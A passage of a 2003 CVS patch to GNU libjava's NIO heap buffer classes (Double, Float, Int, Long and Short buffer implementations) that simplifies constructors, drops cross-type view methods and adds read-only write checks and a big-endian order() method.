asIntBuffer() { IntBufferImpl res = new IntBufferImpl(backing_buffer); res.limit((limit()*4)/8); return res; } - - DoubleBufferImpl(long[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native long nio_get_Long(DoubleBufferImpl b, int index, int limit); - private static native void nio_put_Long(DoubleBufferImpl b, int index, int limit, long value); - public LongBuffer asLongBuffer() { LongBufferImpl res = new LongBufferImpl(backing_buffer); res.limit((limit()*8)/8); return res; } - - DoubleBufferImpl(float[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native float nio_get_Float(DoubleBufferImpl b, int index, int limit); - private static native void nio_put_Float(DoubleBufferImpl b, int index, int limit, float value); - public FloatBuffer asFloatBuffer() { FloatBufferImpl res = new FloatBufferImpl(backing_buffer); res.limit((limit()*4)/8); return res; } - - DoubleBufferImpl(double[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native double nio_get_Double(DoubleBufferImpl b, int index, int limit); - private static native void nio_put_Double(DoubleBufferImpl b, int index, int limit, double value); - public DoubleBuffer asDoubleBuffer() { DoubleBufferImpl res = new DoubleBufferImpl(backing_buffer); res.limit((limit()*8)/8); return res; } - - private static native double[] nio_cast(byte[]copy); - private static native double[] nio_cast(char[]copy); - private static native double[] nio_cast(short[]copy); - private static native double[] nio_cast(long[]copy); - private static native double[] nio_cast(int[]copy); - private static native double[] nio_cast(float[]copy); - private static native double[] nio_cast(double[]copy); - - public boolean isReadOnly() - { - return ro; - } - - public DoubleBuffer slice() - { - DoubleBufferImpl A = new DoubleBufferImpl(this); - A.array_offset = position(); - return A; + + private static native byte nio_get_Byte (DoubleBufferImpl b, int index, int limit); + + private static native void nio_put_Byte (DoubleBufferImpl b, int index, int limit, byte value); + + public ByteBuffer asByteBuffer () + { + ByteBufferImpl res = new ByteBufferImpl (backing_buffer); + res.limit ((limit () * 1) / 8); + return res; + } + + private static native double[] nio_cast (byte[] copy); + + public boolean isReadOnly () + { + return readOnly; + } + + public DoubleBuffer slice () + { + return new DoubleBufferImpl (this); } public DoubleBuffer duplicate() @@ -141,9 +107,9 @@ public DoubleBuffer asReadOnlyBuffer() { - DoubleBufferImpl a = new DoubleBufferImpl(this); - a.ro = true; - return a; + DoubleBufferImpl result = new DoubleBufferImpl (this); + result.readOnly = true; + return result; } public DoubleBuffer compact() @@ -153,7 +119,7 @@ public boolean isDirect() { - return backing_buffer != null; + return false; } final public double get() @@ -165,6 +131,9 @@ final public DoubleBuffer put(double b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[position()] = b; position(position()+1); return this; @@ -177,14 +146,15 @@ final public DoubleBuffer put(int index, double b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[index] = b; return this; } - - final public char getChar() { char a = nio_get_Char(this, position(), limit()); inc_pos(2); return a; } final public DoubleBuffer putChar(char value) { nio_put_Char(this, position(), limit(), value); inc_pos(2); return this; } final public char getChar(int index) { char a = nio_get_Char(this, index, limit()); return a; } final public DoubleBuffer putChar(int index, char value) { nio_put_Char(this, index, limit(), value); return this; }; - final public short getShort() { short a = nio_get_Short(this, position(), limit()); inc_pos(2); return a; } final public DoubleBuffer putShort(short value) { nio_put_Short(this, position(), limit(), value); inc_pos(2); return this; } final public short getShort(int index) { short a = nio_get_Short(this, index, limit()); return a; } final public DoubleBuffer putShort(int index, short value) { nio_put_Short(this, index, limit(), value); return this; }; - final public int getInt() { int a = nio_get_Int(this, position(), limit()); inc_pos(4); return a; } final public DoubleBuffer putInt(int value) { nio_put_Int(this, position(), limit(), value); inc_pos(4); return this; } final public int getInt(int index) { int a = nio_get_Int(this, index, limit()); return a; } final public DoubleBuffer putInt(int index, int value) { nio_put_Int(this, index, limit(), value); return this; }; - final public long getLong() { long a = nio_get_Long(this, position(), limit()); inc_pos(8); return a; } final public DoubleBuffer putLong(long value) { nio_put_Long(this, position(), limit(), value); inc_pos(8); return this; } final public long getLong(int index) { long a = nio_get_Long(this, index, limit()); return a; } final public DoubleBuffer putLong(int index, long value) { nio_put_Long(this, index, limit(), value); return this; }; - final public float getFloat() { float a = nio_get_Float(this, position(), limit()); inc_pos(4); return a; } final public DoubleBuffer putFloat(float value) { nio_put_Float(this, position(), limit(), value); inc_pos(4); return this; } final public float getFloat(int index) { float a = nio_get_Float(this, index, limit()); return a; } final public DoubleBuffer putFloat(int index, float value) { nio_put_Float(this, index, limit(), value); return this; }; - final public double getDouble() { return get(); } final public DoubleBuffer putDouble(double value) { return put(value); } final public double getDouble(int index) { return get(index); } final public DoubleBuffer putDouble(int index, double value) { return put(index, value); }; + + final public ByteOrder order () + { + return ByteOrder.BIG_ENDIAN; + } } Index: gnu/java/nio/FloatBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/FloatBufferImpl.java,v retrieving revision 1.2 diff -u -r1.2 FloatBufferImpl.java --- gnu/java/nio/FloatBufferImpl.java 29 Nov 2002 07:50:46 -0000 1.2 +++ gnu/java/nio/FloatBufferImpl.java 11 Feb 2003 11:15:09 -0000 @@ -38,49 +38,49 @@ package gnu.java.nio; import java.nio.ByteBuffer; -import java.nio.CharBuffer; -import java.nio.DoubleBuffer; +import java.nio.ByteOrder; import java.nio.FloatBuffer; -import java.nio.IntBuffer; -import java.nio.LongBuffer; -import java.nio.ShortBuffer; +import java.nio.ReadOnlyBufferException; +/** + * This is a Heap memory implementation + */ public final class FloatBufferImpl extends FloatBuffer { - private int array_offset; - private boolean ro; + private boolean readOnly; public FloatBufferImpl(int cap, int off, int lim) { - this.backing_buffer = new float[cap]; - this.cap = cap; - this.limit(lim); - this.position(off); + super (cap, lim, off, 0); + this.backing_buffer = new float [cap]; + readOnly = false; } public FloatBufferImpl(float[] array, int off, int lim) { + super (array.length, lim, off, 0); this.backing_buffer = array; - this.cap = array.length; - this.limit(lim); - this.position(off); + readOnly = false; } public FloatBufferImpl(FloatBufferImpl copy) { + super (copy.capacity (), copy.limit (), copy.position (), 0); backing_buffer = copy.backing_buffer; - ro = copy.ro; - limit(copy.limit()); - position(copy.position()); + readOnly = copy.isReadOnly (); } - void inc_pos(int a) + private static native float[] nio_cast (byte[] copy); + + FloatBufferImpl (byte[] copy) { - position(position() + a); + super (copy.length, copy.length, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; } - - FloatBufferImpl(byte[] copy) { this.backing_buffer = copy != null ? nio_cast (copy) : null; } + private static native byte nio_get_Byte (FloatBufferImpl b, int index, int limit); + private static native void nio_put_Byte (FloatBufferImpl b, int index, int limit, byte value); public ByteBuffer asByteBuffer() @@ -90,54 +90,14 @@ return res; } - FloatBufferImpl(char[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native char nio_get_Char(FloatBufferImpl b, int index, int limit); - private static native void nio_put_Char(FloatBufferImpl b, int index, int limit, char value); - public CharBuffer asCharBuffer() { CharBufferImpl res = new CharBufferImpl(backing_buffer); res.limit((limit()*2)/4); return res; } - - FloatBufferImpl(short[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native short nio_get_Short(FloatBufferImpl b, int index, int limit); - private static native void nio_put_Short(FloatBufferImpl b, int index, int limit, short value); - public ShortBuffer asShortBuffer() { ShortBufferImpl res = new ShortBufferImpl(backing_buffer); res.limit((limit()*2)/4); return res; } - - FloatBufferImpl(int[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native int nio_get_Int(FloatBufferImpl b, int index, int limit); - private static native void nio_put_Int(FloatBufferImpl b, int index, int limit, int value); - public IntBuffer asIntBuffer() { IntBufferImpl res = new IntBufferImpl(backing_buffer); res.limit((limit()*4)/4); return res; } - - FloatBufferImpl(long[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native long nio_get_Long(FloatBufferImpl b, int index, int limit); - private static native void nio_put_Long(FloatBufferImpl b, int index, int limit, long value); - public LongBuffer asLongBuffer() { LongBufferImpl res = new LongBufferImpl(backing_buffer); res.limit((limit()*8)/4); return res; } - - FloatBufferImpl(float[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native float nio_get_Float(FloatBufferImpl b, int index, int limit); - private static native void nio_put_Float(FloatBufferImpl b, int index, int limit, float value); - public FloatBuffer asFloatBuffer() { FloatBufferImpl res = new FloatBufferImpl(backing_buffer); res.limit((limit()*4)/4); return res; } - - FloatBufferImpl(double[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native double nio_get_Double(FloatBufferImpl b, int index, int limit); - private static native void nio_put_Double(FloatBufferImpl b, int index, int limit, double value); - public DoubleBuffer asDoubleBuffer() { DoubleBufferImpl res = new DoubleBufferImpl(backing_buffer); res.limit((limit()*8)/4); return res; } - - private static native float[] nio_cast(byte[]copy); - private static native float[] nio_cast(char[]copy); - private static native float[] nio_cast(short[]copy); - private static native float[] nio_cast(long[]copy); - private static native float[] nio_cast(int[]copy); - private static native float[] nio_cast(float[]copy); - private static native float[] nio_cast(double[]copy); - - public boolean isReadOnly() + public boolean isReadOnly () { - return ro; + return readOnly; } public FloatBuffer slice() { - FloatBufferImpl A = new FloatBufferImpl(this); - A.array_offset = position(); - return A; + return new FloatBufferImpl (this); } public FloatBuffer duplicate() @@ -147,9 +107,9 @@ public FloatBuffer asReadOnlyBuffer() { - FloatBufferImpl a = new FloatBufferImpl(this); - a.ro = true; - return a; + FloatBufferImpl result = new FloatBufferImpl (this); + result.readOnly = true; + return result; } public FloatBuffer compact() @@ -159,7 +119,7 @@ public boolean isDirect() { - return backing_buffer != null; + return false; } final public float get() @@ -171,6 +131,9 @@ final public FloatBuffer put(float b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[position()] = b; position(position()+1); return this; @@ -183,14 +146,15 @@ final public FloatBuffer put(int index, float b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[index] = b; return this; } - final public char getChar() { char a = nio_get_Char(this, position(), limit()); inc_pos(2); return a; } final public FloatBuffer putChar(char value) { nio_put_Char(this, position(), limit(), value); inc_pos(2); return this; } final public char getChar(int index) { char a = nio_get_Char(this, index, limit()); return a; } final public FloatBuffer putChar(int index, char value) { nio_put_Char(this, index, limit(), value); return this; }; - final public short getShort() { short a = nio_get_Short(this, position(), limit()); inc_pos(2); return a; } final public FloatBuffer putShort(short value) { nio_put_Short(this, position(), limit(), value); inc_pos(2); return this; } final public short getShort(int index) { short a = nio_get_Short(this, index, limit()); return a; } final public FloatBuffer putShort(int index, short value) { nio_put_Short(this, index, limit(), value); return this; }; - final public int getInt() { int a = nio_get_Int(this, position(), limit()); inc_pos(4); return a; } final public FloatBuffer putInt(int value) { nio_put_Int(this, position(), limit(), value); inc_pos(4); return this; } final public int getInt(int index) { int a = nio_get_Int(this, index, limit()); return a; } final public FloatBuffer putInt(int index, int value) { nio_put_Int(this, index, limit(), value); return this; }; - final public long getLong() { long a = nio_get_Long(this, position(), limit()); inc_pos(8); return a; } final public FloatBuffer putLong(long value) { nio_put_Long(this, position(), limit(), value); inc_pos(8); return this; } final public long getLong(int index) { long a = nio_get_Long(this, index, limit()); return a; } final public FloatBuffer putLong(int index, long value) { nio_put_Long(this, index, limit(), value); return this; }; - final public float getFloat() { return get(); } final public FloatBuffer putFloat(float value) { return put(value); } final public float getFloat(int index) { return get(index); } final public FloatBuffer putFloat(int index, float value) { return put(index, value); }; - final public double getDouble() { double a = nio_get_Double(this, position(), limit()); inc_pos(8); return a; } final public FloatBuffer putDouble(double value) { nio_put_Double(this, position(), limit(), value); inc_pos(8); return this; } final public double getDouble(int index) { double a = nio_get_Double(this, index, limit()); return a; } final public FloatBuffer putDouble(int index, double value) { nio_put_Double(this, index, limit(), value); return this; }; + final public ByteOrder order () + { + return ByteOrder.BIG_ENDIAN; + } } Index: gnu/java/nio/IntBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/IntBufferImpl.java,v retrieving revision 1.2 diff -u -r1.2 IntBufferImpl.java --- gnu/java/nio/IntBufferImpl.java 29 Nov 2002 07:50:46 -0000 1.2 +++ gnu/java/nio/IntBufferImpl.java 11 Feb 2003 11:15:09 -0000 @@ -38,100 +38,66 @@ package gnu.java.nio; import java.nio.ByteBuffer; -import java.nio.CharBuffer; -import java.nio.DoubleBuffer; -import java.nio.FloatBuffer; +import java.nio.ByteOrder; import java.nio.IntBuffer; -import java.nio.LongBuffer; -import java.nio.ShortBuffer; +import java.nio.ReadOnlyBufferException; +/** + * This is a Heap memory implementation + */ public final class IntBufferImpl extends IntBuffer { - private int array_offset; - private boolean ro; + private boolean readOnly; public IntBufferImpl(int cap, int off, int lim) { + super (cap, lim, off, 0); this.backing_buffer = new int[cap]; - this.cap = cap; - this.limit(lim); - this.position(off); + readOnly = false; } public IntBufferImpl(int[] array, int off, int lim) { + super (array.length, lim, off, 0); this.backing_buffer = array; - this.cap = array.length; - this.limit(lim); - this.position(off); + readOnly = false; } public IntBufferImpl(IntBufferImpl copy) { + super (copy.capacity (), copy.limit (), copy.position (), 0); backing_buffer = copy.backing_buffer; - ro = copy.ro; - limit(copy.limit()); - position(copy.position()); - } - - void inc_pos(int a) - { - position(position() + a); - } - - IntBufferImpl(byte[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native byte nio_get_Byte(IntBufferImpl b, int index, int limit); - private static native void nio_put_Byte(IntBufferImpl b, int index, int limit, byte value); - public ByteBuffer asByteBuffer() { ByteBufferImpl res = new ByteBufferImpl(backing_buffer); res.limit((limit()*1)/4); return res; } - - IntBufferImpl(char[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native char nio_get_Char(IntBufferImpl b, int index, int limit); - private static native void nio_put_Char(IntBufferImpl b, int index, int limit, char value); - public CharBuffer asCharBuffer() { CharBufferImpl res = new CharBufferImpl(backing_buffer); res.limit((limit()*2)/4); return res; } - - IntBufferImpl(short[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native short nio_get_Short(IntBufferImpl b, int index, int limit); - private static native void nio_put_Short(IntBufferImpl b, int index, int limit, short value); - public ShortBuffer asShortBuffer() { ShortBufferImpl res = new ShortBufferImpl(backing_buffer); res.limit((limit()*2)/4); return res; } - - IntBufferImpl(int[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native int nio_get_Int(IntBufferImpl b, int index, int limit); - private static native void nio_put_Int(IntBufferImpl b, int index, int limit, int value); - public IntBuffer asIntBuffer() { IntBufferImpl res = new IntBufferImpl(backing_buffer); res.limit((limit()*4)/4); return res; } - - IntBufferImpl(long[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native long nio_get_Long(IntBufferImpl b, int index, int limit); - private static native void nio_put_Long(IntBufferImpl b, int index, int limit, long value); - public LongBuffer asLongBuffer() { LongBufferImpl res = new LongBufferImpl(backing_buffer); res.limit((limit()*8)/4); return res; } - - IntBufferImpl(float[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native float nio_get_Float(IntBufferImpl b, int index, int limit); - private static native void nio_put_Float(IntBufferImpl b, int index, int limit, float value); - public FloatBuffer asFloatBuffer() { FloatBufferImpl res = new FloatBufferImpl(backing_buffer); res.limit((limit()*4)/4); return res; } - - IntBufferImpl(double[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native double nio_get_Double(IntBufferImpl b, int index, int limit); - private static native void nio_put_Double(IntBufferImpl b, int index, int limit, double value); - public DoubleBuffer asDoubleBuffer() { DoubleBufferImpl res = new DoubleBufferImpl(backing_buffer); res.limit((limit()*8)/4); return res; } - - private static native int[] nio_cast(byte[]copy); - private static native int[] nio_cast(char[]copy); - private static native int[] nio_cast(short[]copy); - private static native int[] nio_cast(long[]copy); - private static native int[] nio_cast(int[]copy); - private static native int[] nio_cast(float[]copy); - private static native int[] nio_cast(double[]copy); + readOnly = copy.isReadOnly (); + } + + private static native int[] nio_cast (byte[] copy); + + IntBufferImpl (byte[] copy) + { + super (copy.length, copy.length, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native byte nio_get_Byte (IntBufferImpl b, int index, int limit); + + private static native void nio_put_Byte (IntBufferImpl b, int index, int limit, byte value); + + public ByteBuffer asByteBuffer () + { + ByteBufferImpl res = new ByteBufferImpl (backing_buffer); + res.limit ((limit () * 1) / 4); + return res; + } public boolean isReadOnly() { - return ro; + return readOnly; } public IntBuffer slice() { - IntBufferImpl A = new IntBufferImpl(this); - A.array_offset = position(); - return A; + return new IntBufferImpl (this); } public IntBuffer duplicate() @@ -141,9 +107,9 @@ public IntBuffer asReadOnlyBuffer() { - IntBufferImpl a = new IntBufferImpl(this); - a.ro = true; - return a; + IntBufferImpl result = new IntBufferImpl (this); + result.readOnly = true; + return result; } public IntBuffer compact() @@ -153,7 +119,7 @@ public boolean isDirect() { - return backing_buffer != null; + return false; } final public int get() @@ -165,6 +131,9 @@ final public IntBuffer put(int b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[position()] = b; position(position()+1); return this; @@ -177,14 +146,15 @@ final public IntBuffer put(int index, int b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[index] = b; return this; } - - final public char getChar() { char a = nio_get_Char(this, position(), limit()); inc_pos(2); return a; } final public IntBuffer putChar(char value) { nio_put_Char(this, position(), limit(), value); inc_pos(2); return this; } final public char getChar(int index) { char a = nio_get_Char(this, index, limit()); return a; } final public IntBuffer putChar(int index, char value) { nio_put_Char(this, index, limit(), value); return this; }; - final public short getShort() { short a = nio_get_Short(this, position(), limit()); inc_pos(2); return a; } final public IntBuffer putShort(short value) { nio_put_Short(this, position(), limit(), value); inc_pos(2); return this; } final public short getShort(int index) { short a = nio_get_Short(this, index, limit()); return a; } final public IntBuffer putShort(int index, short value) { nio_put_Short(this, index, limit(), value); return this; }; - final public int getInt() { return get(); } final public IntBuffer putInt(int value) { return put(value); } final public int getInt(int index) { return get(index); } final public IntBuffer putInt(int index, int value) { return put(index, value); }; - final public long getLong() { long a = nio_get_Long(this, position(), limit()); inc_pos(8); return a; } final public IntBuffer putLong(long value) { nio_put_Long(this, position(), limit(), value); inc_pos(8); return this; } final public long getLong(int index) { long a = nio_get_Long(this, index, limit()); return a; } final public IntBuffer putLong(int index, long value) { nio_put_Long(this, index, limit(), value); return this; }; - final public float getFloat() { float a = nio_get_Float(this, position(), limit()); inc_pos(4); return a; } final public IntBuffer putFloat(float value) { nio_put_Float(this, position(), limit(), value); inc_pos(4); return this; } final public float getFloat(int index) { float a = nio_get_Float(this, index, limit()); return a; } final public IntBuffer putFloat(int index, float value) { nio_put_Float(this, index, limit(), value); return this; }; - final public double getDouble() { double a = nio_get_Double(this, position(), limit()); inc_pos(8); return a; } final public IntBuffer putDouble(double value) { nio_put_Double(this, position(), limit(), value); inc_pos(8); return this; } final public double getDouble(int index) { double a = nio_get_Double(this, index, limit()); return a; } final public IntBuffer putDouble(int index, double value) { nio_put_Double(this, index, limit(), value); return this; }; + + final public ByteOrder order () + { + return ByteOrder.BIG_ENDIAN; + } } Index: gnu/java/nio/LongBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/LongBufferImpl.java,v retrieving revision 1.2 diff -u -r1.2 LongBufferImpl.java --- gnu/java/nio/LongBufferImpl.java 29 Nov 2002 07:50:46 -0000 1.2 +++ gnu/java/nio/LongBufferImpl.java 11 Feb 2003 11:15:09 -0000 @@ -38,100 +38,66 @@ package gnu.java.nio; import java.nio.ByteBuffer; -import java.nio.CharBuffer; -import java.nio.DoubleBuffer; -import java.nio.FloatBuffer; -import java.nio.IntBuffer; +import java.nio.ByteOrder; import java.nio.LongBuffer; -import java.nio.ShortBuffer; +import java.nio.ReadOnlyBufferException; +/** + * This is a Heap memory implementation + */ public final class LongBufferImpl extends LongBuffer { - private int array_offset; - private boolean ro; + private boolean readOnly; public LongBufferImpl(int cap, int off, int lim) { + super (cap, lim, off, 0); this.backing_buffer = new long[cap]; - this.cap = cap ; - this.limit(lim); - this.position(off); + readOnly = false; } public LongBufferImpl(long[] array, int off, int lim) { + super (array.length, lim, off, 0); this.backing_buffer = array; - this.cap = array.length; - this.limit(lim); - this.position(off); + readOnly = false; } public LongBufferImpl(LongBufferImpl copy) { + super (copy.capacity (), copy.limit (), copy.position (), 0); backing_buffer = copy.backing_buffer; - ro = copy.ro; - limit(copy.limit()); - position(copy.position()); - } - - void inc_pos(int a) - { - position(position() + a); - } - - LongBufferImpl(byte[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native byte nio_get_Byte(LongBufferImpl b, int index, int limit); - private static native void nio_put_Byte(LongBufferImpl b, int index, int limit, byte value); - public ByteBuffer asByteBuffer() { ByteBufferImpl res = new ByteBufferImpl(backing_buffer); res.limit((limit()*1)/8); return res; } - - LongBufferImpl(char[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native char nio_get_Char(LongBufferImpl b, int index, int limit); - private static native void nio_put_Char(LongBufferImpl b, int index, int limit, char value); - public CharBuffer asCharBuffer() { CharBufferImpl res = new CharBufferImpl(backing_buffer); res.limit((limit()*2)/8); return res; } - - LongBufferImpl(short[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native short nio_get_Short(LongBufferImpl b, int index, int limit); - private static native void nio_put_Short(LongBufferImpl b, int index, int limit, short value); - public ShortBuffer asShortBuffer() { ShortBufferImpl res = new ShortBufferImpl(backing_buffer); res.limit((limit()*2)/8); return res; } - - LongBufferImpl(int[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native int nio_get_Int(LongBufferImpl b, int index, int limit); - private static native void nio_put_Int(LongBufferImpl b, int index, int limit, int value); - public IntBuffer asIntBuffer() { IntBufferImpl res = new IntBufferImpl(backing_buffer); res.limit((limit()*4)/8); return res; } - - LongBufferImpl(long[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native long nio_get_Long(LongBufferImpl b, int index, int limit); - private static native void nio_put_Long(LongBufferImpl b, int index, int limit, long value); - public LongBuffer asLongBuffer() { LongBufferImpl res = new LongBufferImpl(backing_buffer); res.limit((limit()*8)/8); return res; } - - LongBufferImpl(float[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native float nio_get_Float(LongBufferImpl b, int index, int limit); - private static native void nio_put_Float(LongBufferImpl b, int index, int limit, float value); - public FloatBuffer asFloatBuffer() { FloatBufferImpl res = new FloatBufferImpl(backing_buffer); res.limit((limit()*4)/8); return res; } - - LongBufferImpl(double[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native double nio_get_Double(LongBufferImpl b, int index, int limit); - private static native void nio_put_Double(LongBufferImpl b, int index, int limit, double value); - public DoubleBuffer asDoubleBuffer() { DoubleBufferImpl res = new DoubleBufferImpl(backing_buffer); res.limit((limit()*8)/8); return res; } - - private static native long[] nio_cast(byte[]copy); - private static native long[] nio_cast(char[]copy); - private static native long[] nio_cast(short[]copy); - private static native long[] nio_cast(long[]copy); - private static native long[] nio_cast(int[]copy); - private static native long[] nio_cast(float[]copy); - private static native long[] nio_cast(double[]copy); + readOnly = copy.isReadOnly (); + } + + private static native long[] nio_cast (byte[] copy); + + LongBufferImpl (byte[] copy) + { + super (copy.length, copy.length, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native byte nio_get_Byte (LongBufferImpl b, int index, int limit); + + private static native void nio_put_Byte (LongBufferImpl b, int index, int limit, byte value); + + public ByteBuffer asByteBuffer () + { + ByteBufferImpl res = new ByteBufferImpl (backing_buffer); + res.limit ((limit () * 1) / 8); + return res; + } public boolean isReadOnly() { - return ro; + return readOnly; } public LongBuffer slice() { - LongBufferImpl A = new LongBufferImpl(this); - A.array_offset = position(); - return A; + return new LongBufferImpl (this); } public LongBuffer duplicate() @@ -141,9 +107,9 @@ public LongBuffer asReadOnlyBuffer() { - LongBufferImpl a = new LongBufferImpl(this); - a.ro = true; - return a; + LongBufferImpl result = new LongBufferImpl (this); + result.readOnly = true; + return result; } public LongBuffer compact() @@ -153,7 +119,7 @@ public boolean isDirect() { - return backing_buffer != null; + return false; } final public long get() @@ -165,6 +131,9 @@ final public LongBuffer put(long b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[position()] = b; position(position()+1); return this; @@ -177,14 +146,15 @@ final public LongBuffer put(int index, long b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[index] = b; return this; } - final public char getChar() { char a = nio_get_Char(this, position(), limit()); inc_pos(2); return a; } final public LongBuffer putChar(char value) { nio_put_Char(this, position(), limit(), value); inc_pos(2); return this; } final public char getChar(int index) { char a = nio_get_Char(this, index, limit()); return a; } final public LongBuffer putChar(int index, char value) { nio_put_Char(this, index, limit(), value); return this; }; - final public short getShort() { short a = nio_get_Short(this, position(), limit()); inc_pos(2); return a; } final public LongBuffer putShort(short value) { nio_put_Short(this, position(), limit(), value); inc_pos(2); return this; } final public short getShort(int index) { short a = nio_get_Short(this, index, limit()); return a; } final public LongBuffer putShort(int index, short value) { nio_put_Short(this, index, limit(), value); return this; }; - final public int getInt() { int a = nio_get_Int(this, position(), limit()); inc_pos(4); return a; } final public LongBuffer putInt(int value) { nio_put_Int(this, position(), limit(), value); inc_pos(4); return this; } final public int getInt(int index) { int a = nio_get_Int(this, index, limit()); return a; } final public LongBuffer putInt(int index, int value) { nio_put_Int(this, index, limit(), value); return this; }; - final public long getLong() { return get(); } final public LongBuffer putLong(long value) { return put(value); } final public long getLong(int index) { return get(index); } final public LongBuffer putLong(int index, long value) { return put(index, value); }; - final public float getFloat() { float a = nio_get_Float(this, position(), limit()); inc_pos(4); return a; } final public LongBuffer putFloat(float value) { nio_put_Float(this, position(), limit(), value); inc_pos(4); return this; } final public float getFloat(int index) { float a = nio_get_Float(this, index, limit()); return a; } final public LongBuffer putFloat(int index, float value) { nio_put_Float(this, index, limit(), value); return this; }; - final public double getDouble() { double a = nio_get_Double(this, position(), limit()); inc_pos(8); return a; } final public LongBuffer putDouble(double value) { nio_put_Double(this, position(), limit(), value); inc_pos(8); return this; } final public double getDouble(int index) { double a = nio_get_Double(this, index, limit()); return a; } final public LongBuffer putDouble(int index, double value) { nio_put_Double(this, index, limit(), value); return this; }; + final public ByteOrder order () + { + return ByteOrder.BIG_ENDIAN; + } } Index: gnu/java/nio/ShortBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/ShortBufferImpl.java,v retrieving revision 1.2 diff -u -r1.2 ShortBufferImpl.java --- gnu/java/nio/ShortBufferImpl.java 29 Nov 2002 07:50:46 -0000 1.2 +++ gnu/java/nio/ShortBufferImpl.java 11 Feb 2003 11:15:09 -0000 @@ -38,100 +38,66 @@ package gnu.java.nio; import java.nio.ByteBuffer; -import java.nio.CharBuffer; -import java.nio.DoubleBuffer; -import java.nio.FloatBuffer; -import java.nio.IntBuffer; -import java.nio.LongBuffer; +import java.nio.ByteOrder; import java.nio.ShortBuffer; +import java.nio.ReadOnlyBufferException; +/** + * This is a Heap memory implementation + */ public final class ShortBufferImpl extends ShortBuffer { - private int array_offset; - private boolean ro; + private boolean readOnly; public ShortBufferImpl(int cap, int off, int lim) { - this.backing_buffer = new short[cap]; - this.cap = cap ; - this.limit(lim); - this.position(off); + super (cap, lim, off, 0); + this.backing_buffer = new short [cap]; + readOnly = false; } public ShortBufferImpl(short[] array, int off, int lim) { + super (array.length, lim, off, 0); this.backing_buffer = array; - this.cap = array.length; - this.limit(lim); - this.position(off); + readOnly = false; } public ShortBufferImpl(ShortBufferImpl copy) { + super (copy.capacity (), copy.limit (), copy.position (), 0); backing_buffer = copy.backing_buffer; - ro = copy.ro; - limit(copy.limit()); - position(copy.position()); - } - - void inc_pos(int a) - { - position(position() + a); - } - - ShortBufferImpl(byte[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native byte nio_get_Byte(ShortBufferImpl b, int index, int limit); - private static native void nio_put_Byte(ShortBufferImpl b, int index, int limit, byte value); - public ByteBuffer asByteBuffer() { ByteBufferImpl res = new ByteBufferImpl(backing_buffer); res.limit((limit()*1)/2); return res; } - - ShortBufferImpl(char[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native char nio_get_Char(ShortBufferImpl b, int index, int limit); - private static native void nio_put_Char(ShortBufferImpl b, int index, int limit, char value); - public CharBuffer asCharBuffer() { CharBufferImpl res = new CharBufferImpl(backing_buffer); res.limit((limit()*2)/2); return res; } - - ShortBufferImpl(short[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native short nio_get_Short(ShortBufferImpl b, int index, int limit); - private static native void nio_put_Short(ShortBufferImpl b, int index, int limit, short value); - public ShortBuffer asShortBuffer() { ShortBufferImpl res = new ShortBufferImpl(backing_buffer); res.limit((limit()*2)/2); return res; } - - ShortBufferImpl(int[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native int nio_get_Int(ShortBufferImpl b, int index, int limit); - private static native void nio_put_Int(ShortBufferImpl b, int index, int limit, int value); - public IntBuffer asIntBuffer() { IntBufferImpl res = new IntBufferImpl(backing_buffer); res.limit((limit()*4)/2); return res; } - - ShortBufferImpl(long[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native long nio_get_Long(ShortBufferImpl b, int index, int limit); - private static native void nio_put_Long(ShortBufferImpl b, int index, int limit, long value); - public LongBuffer asLongBuffer() { LongBufferImpl res = new LongBufferImpl(backing_buffer); res.limit((limit()*8)/2); return res; } - - ShortBufferImpl(float[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native float 